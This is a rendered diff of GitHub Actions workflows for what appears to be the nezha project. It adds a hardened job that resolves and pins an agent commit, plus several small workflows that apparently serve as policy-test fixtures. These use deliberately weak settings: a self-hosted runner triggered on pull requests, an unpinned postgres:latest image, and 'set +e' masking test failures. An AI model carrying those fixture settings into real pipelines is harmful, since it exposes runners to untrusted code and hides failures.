run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"
|
||||
- name: Upload redacted evidence
|
||||
uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f
|
||||
if: always()
|
||||
with:
|
||||
path: ${{ runner.temp }}/nezha-agentcompat-redacted
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
name: Secure resolved ref
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: resolved-${{ github.ref }}
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
steps:
|
||||
- id: resolve-agent
|
||||
name: Resolve Agent commit
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
remote='https://github.com/nezhahq/agent.git'
|
||||
mapfile -t refs < <(git ls-remote "$remote" refs/heads/main)
|
||||
(( ${#refs[@]} == 1 ))
|
||||
sha=${refs[0]%%$'\t'*}
|
||||
[[ "$sha" =~ ^[0-9a-f]{40}$ ]]
|
||||
printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT"
|
||||
- uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0
|
||||
with:
|
||||
repository: nezhahq/agent
|
||||
ref: ${{ steps.resolve-agent.outputs.sha }}
|
||||
persist-credentials: false
|
||||
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: [self-hosted, linux]
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: go test ./...
|
||||
@@ -0,0 +1,14 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
services:
|
||||
database:
|
||||
image: postgres:latest
|
||||
steps:
|
||||
- run: go test ./...
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
on:
|
||||
pull_request:
|
||||
concurrency: policy
|
||||
permissions:
|
||||
contents: read
|
||||
jobs:
|
||||
verify:
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 10
|
||||
steps:
|
||||
- run: set +e; go test ./...
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user